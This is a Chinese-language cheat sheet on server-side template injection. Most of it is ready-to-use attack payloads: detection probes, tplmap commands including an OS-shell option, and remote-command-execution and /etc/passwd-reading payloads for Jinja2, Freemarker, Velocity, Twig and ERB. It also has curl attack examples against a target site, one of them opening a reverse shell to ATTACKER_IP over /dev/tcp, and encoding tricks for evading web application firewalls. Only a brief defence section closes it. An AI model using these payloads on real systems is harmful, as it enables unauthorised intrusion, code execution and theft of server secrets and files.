SSTI - 服务端模板注入
漏洞概述
服务端模板注入 (Server-Side Template Injection) 发生在用户输入被直接拼接到模板引擎中执行时。攻击者可以注入恶意模板代码,执行任意命令。
OWASP Top 10: A03:2021 (Injection)
危害等级: ⭐⭐⭐⭐⭐
常见模板引擎
| 语言 |
模板引擎 |
| Python |
Jinja2, Mako, Tornado |
| Java |
Freemarker, Velocity, Thymeleaf |
| PHP |
Smarty, Twig |
| JavaScript |
EJS, Handlebars, Pug |
| Ruby |
ERB, Slim |
漏洞检测
手工检测
# 数学运算测试
{{7*7}} # Jinja2: 49
${7*7} # Freemarker: 49
#{7*7} # Ruby ERB: 49
<%= 7*7 %> # ERB: 49
{{7*'7'}} # Jinja2: 7777777
# 模板语法探测
{{self}}
{{config}}
{{request}}
${class}
#{request}
工具检测
# TPLMap (自动化检测)
python2 tplmap.py -u "http://target.com/page?name=*"
python2 tplmap.py -u "http://target.com/page?name=*" --os-shell
# Burp Suite
- 使用 Intruder 测试不同模板语法
- 使用 Scanner 自动检测
利用方法
Jinja2 (Python)
# 读取配置
{{config}}
{{config.items()}}
# 读取环境变量
{{config.items()|selectattr(0,'eq','SECRET_KEY')}}
# 执行命令
{{''.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}
# 获取 os 模块
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# 完整 RCE
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{b['eval']('__import__("os").popen("id").read()')}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
Freemarker (Java)
# 读取文件
${product.getClass().forName("java.lang.Runtime").getRuntime().exec("cat /etc/passwd")}
# 执行命令
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
# 读取环境变量
${configuration.getSetting("auto_import")}
Velocity (Java)
# 执行命令
#set($class = {}.class)
#set($method = $class.forName("java.lang.Runtime"))
#set($run = $method.getRuntime())
$run.exec("id")
# 读取文件
#set($str=$class.forName("java.lang.String"))
#set($chr=$class.forName("java.lang.Character"))
#set($str=$class.forName("java.lang.String"))
#set($proc=$class.forName("java.lang.ProcessBuilder"))
#set($proc=$proc.getDeclaredConstructor($str).newInstance("cat /etc/passwd"))
#set($process=$proc.start())
Twig (PHP)
# 执行命令
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
# 读取文件
{{include("/etc/passwd")}}
ERB (Ruby)
# 执行命令
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").readlines() %>
# 读取文件
<%= File.open("/etc/passwd").read %>
实战案例
案例 1: Flask + Jinja2
# 检测
curl "http://target.com/search?q={{7*7}}"
# 信息收集
curl "http://target.com/search?q={{config}}"
# RCE
curl "http://target.com/search?q={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}"
# 反弹 Shell
curl "http://target.com/search?q={{request.application.__globals__.__builtins__.__import__('os').popen('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"').read()}}"
案例 2: Java + Freemarker
# 检测
curl "http://target.com/user?name=${7*7}"
# RCE
curl "http://target.com/user?name=<#assign%20ex%20=%20%22freemarker.template.utility.Execute%22?new()>${ex(%22id%22)}"
案例 3: Python Tornado
# 漏洞代码
class MainHandler(tornado.web.RequestHandler):
def get(self):
name = self.get_argument("name", "")
template = f"Hello {name}"
self.write(tornado.template.Template(template).generate())
# 利用
{{handler.settings}}
{{request.connection.context._request.connection.context._request.headers}}
绕过技巧
WAF 绕过
# 字符串拼接
{{'__clas'+'s__'}}
# 编码绕过
{{request|attr('\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f')}}
# 列表推导
{{[c for c in ().__class__.__base__.__subclasses__()]}}
# 字典访问
{{{}['__class__']}}
过滤器绕过
# 使用 |attr() 代替 .
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}
# 使用 |map()
{{['id']|map('request','application')}}
防御建议
-
使用安全模式
# Jinja2
env = Environment(autoescape=True)
# 或使用 SandboxedEnvironment
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
-
避免用户输入进入模板
# ❌ 错误
template = Template(f"Hello {user_input}")
# ✅ 正确
template = Template("Hello {{name}}")
template.render(name=user_input)
-
输入验证
# 白名单过滤
allowed_chars = re.compile(r'^[a-zA-Z0-9\s]+$')
if not allowed_chars.match(user_input):
raise ValueError("Invalid input")
-
最小权限原则
参考链接